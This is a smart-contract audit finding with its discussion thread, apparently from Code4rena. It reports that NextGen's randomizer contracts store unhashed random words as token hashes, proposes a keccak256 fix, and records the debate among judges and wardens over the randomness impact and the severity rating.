Here is the problem, the way used for the token hash generating is wrong and return only the trimmed generated random number in plain format (not hashed). The lines blow results in just trimmed first number in the numbers array, and return it in plain format.

The problem lies in the method used for generating the token hash, which is incorrect and returns only the trimmed generated random number in plain format (not hashed). The lines below result in just the trimmed first number in the numbers array and return it in plain format.

// RandomizerRNG
bytes32(abi.encodePacked(numbers, requestToToken[id]))

// RandomizerVRF
bytes32(abi.encodePacked(_randomWords, requestToToken[_requestId]))

Tools Used

Manual Review

Hash the value returned from the VRF with the tokenId.

  1. RandomizerVRF
function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
-   gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id])));
+   gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], keccak256(abi.encodePacked(numbers,requestToToken[id])));
}
  1. RandomizerRNG
function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
-   gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])));
+   gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], keccak256(abi.encodePacked(_randomWords,requestToToken[_requestId])));
    emit RequestFulfilled(_requestId, _randomWords);
}

Assessed type

Context

#0 - c4-pre-sort

2023-11-17T14:05:08Z

141345 marked the issue as sufficient quality report

#1 - c4-sponsor

2023-11-23T06:10:56Z

a2rocket (sponsor) confirmed

#2 - alex-ppg

2023-12-04T22:02:09Z

The Warden has illustrated that the randomizers in NextGen do not properly utilize their "true" randomness inputs properly.

The Sponsor has confirmed this exhibit and it is indeed correct as only two entries would be utilized in the generation of a hash and the token ID would not be utilized contradictory to what the code seemingly does.

Given that the randomness is insufficiently impacted (1 random word/number will be used instead of all), I consider this to be a medium-severity exhibit.

#3 - c4-judge

2023-12-04T22:02:16Z

alex-ppg changed the severity to 2 (Med Risk)

#4 - c4-judge

2023-12-04T22:02:25Z

alex-ppg marked the issue as satisfactory

#5 - c4-judge

2023-12-04T22:02:30Z

alex-ppg marked the issue as selected for report

#6 - c4-judge

2023-12-04T22:02:41Z

alex-ppg marked the issue as primary issue

#7 - aslanbekaibimov

2023-12-09T08:56:13Z

@alex-ppg

I believe this report contradicts itself:

The RandomizerVRF and RandomizerRNG contracts will not return random hashes, instead, they will only return the generated random number.

This results in non-unique/duplicated tokenHash values and non-randomly generated NFTs.

How can two random numbers not being hashed result in non-randomly generated NFTs?

There's indeed a discrepancy between the spec and implementation, but not fixing the issue will simply result in tokens having a random tokenToHash anyways, which is sufficient for correct functioning of the protocol.

Thank you!

#8 - d3e4

2023-12-09T10:47:08Z

@alex-ppg Only one random number is requested so nothing is trimmed away. Hashing a random 256-bit value does not make it any more random, it is just an arbitrary bijection. A random number and a hash digest (of an unknown or random number) are equivalent. It is randomness that is sought, not the output of specifically a hash function.

#9 - imsrybr0

2023-12-09T13:46:21Z

Hi @alex-ppg,

I believe this describes the same issue as #852 and its duplicates which were judged as QA.

Can you please check this again?

Thank you

#10 - alex-ppg

2023-12-09T13:54:39Z

Hey @aslanbekaibimov and @d3e4, thanks for your feedback! Let me address both of your points:

Report Contradiction

Indeed the report contradicts itself, however, it was the sole submission of this issue and as such is the primary one.

Randomness Impact

A value not being hashed does not impact its randomness, however, it does impact the range the values will be present in. As such, it allows the "expansion" of a randomness range to cover the full uint256 value range. For example, if the randomness values are in a sub-range [X,Y], the randomness oracles will produce token IDs solely in that range.

If a hash function is utilized (such as keccak256), the range will be expanded to [0, type(uint256).max] which is the desirable outcome. This is further illustrated by the fact that the tokenHash entry specifies it should be a hash.

ARRNG-Specific Impact

Another important trait of hashing is the minimization of monobit bias. A monobit bias occurs when a single bit in the randomness output is more frequently 0 or 1 in relation to the rest of the bits. This is especially prevalent in random sources such as ARRNG which rely on radio waves and other real-world data that may bias their measurements.

A hash will induce the avalanche effect whereby a bit will have a rough chance of being flipped. As such, monobit bias is somewhat eliminated by using hashing functions. While I won't criticize Chainlink, the ARRNG service relies on RANDOM.ORG which provides publicly accessible data showcasing its monobit bias.

The Chainlink oracle of NextGen is defined to have the numWords requested as update-able. This is very useful when the perceived entropy of random numbers is small; specifically, a hash of multiple lower-than-maximum (256 in this case) entropy numbers will "compress" the entropy (with some loss of course) into 32 bytes. As an example, hashing two numbers with 16 and 19 bits of entropy each will produce an output that has their entropy combined minus one to account for entropy lost due to compression and collisions.

As the numWords variable can be updated, we can see a problem in the codebase whereby any value of numWords greater than one will not increase the entropy of the randomness generator as expected.

Closing Thought

Given that the code contains an egregious error that directly impacts its functionality, I will maintain the current medium risk rating. The tokenHash mapping is expected to contain a hash, and assigning it otherwise is an invariant that is broken. I will consider inviting other judges to contribute to this particular judgment.

#11 - d3e4

2023-12-10T00:47:38Z

A value not being hashed does not impact its randomness, however, it does impact the range the values will be present in. As such, it allows the "expansion" of a randomness range to cover the full uint256 value range. For example, if the randomness values are in a sub-range [X,Y], the randomness oracles will produce token IDs solely in that range.

This is not true as stated. The range of a function cannot be greater than its domain. It should be equidistributed within the uint256 range however, which is perhaps what you mean. So this could be an issue if the artist had the full range in mind when designing his script, but the range is concentrated on the first bytes, for example.

However, ARRNG does provide a 256-bit number. This can be confirmed by checking some of the numbers already provided.. As you say, Chainlink VRF also provides a 256-bit number. The entropy of these is also 256-bit (otherwise you have a $2 million bounty to claim).

Another point you make is that the randomness from ARRNG/random.org might not be uniform. This is not true. All analyses of random.org conclude that it is unbiased. It does not exhibit monobit bias. Also, any PRNG already performs a kind of hashing in itself (to make it uniform within its range), so it is pointless to apply another hash afterwards, since the range is already correct.

In summary, the "unhashed" random numbers are already full range and even already hashed.

#12 - alex-ppg

2023-12-10T14:25:14Z

Hey @d3e4, thanks for contributing. You specify a PRNG which infers a Pseudo-Random Number Generator which by definition cannot have full entropy. In any case, the values reported by random.org are not PRNG and neither should Chainlink's VRF submissions be.

For ARRNG, you can observe right here that the entropy of the data fluctuates significantly. Stating that ARRNG has 256 bits of entropy is thus incorrect as it directly relies on random.org. I will not criticize Chainlink's VRF oracles but would be reluctant to accept their measurements represent 256 bits of entropy as a single validator can influence the randomness output.

Keep in mind that the hashing function will not influence the entropy of the input, it will solely affect the domain in which the input translates to. As such, an input that has a bias for a 0 bit in the first slot of its representation will not have the same bias in its output if passed through a hashing function.

Despite these, I will cite the relevant SC verdict Appendix that serves as a guideline on how to grade "protocol does not work as intended" issues. Specifically:

An egregious mistake that doesn’t directly lead to loss of funds (ERCs / Incorrect View Logic, Missing function)

The vulnerability described by this submission is an egregious mistake that doesn't directly lead to loss of funds but impacts the protocol significantly as the protocol's intentions are to:

  • Have the token ID be a "factor" of the randomness generation
  • Permit more than one input in the random generation when it comes to Chainlink VRF implementations

Both of the above intentions are broken by the usage of bytes32 rendering my initial verdict to stand. I will proceed to correctly mark #852 and its duplicates under this submission. As such, the primary of this submission will be re-evaluated once PJQA ends.

#13 - d3e4

2023-12-10T14:46:32Z

I think you are misinterpreting the entropy statistics on random.org. It cannot be expected to always be measured to 100% even if it is perfectly random, but let's rephrase the question: Are you saying that the output is biased or not uniform? If that is true it is a different issue, and one with the randomness providers. If it is not biased, how is this distinguishable from a hash of them? At best, hashing them makes them uniformly distributed, so if they already are uniformly distributed (which they must be!) then why hash them (again)?

#14 - c4-judge

2023-12-12T15:41:05Z

alex-ppg marked issue #1627 as primary and marked this issue as a duplicate of 1627

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter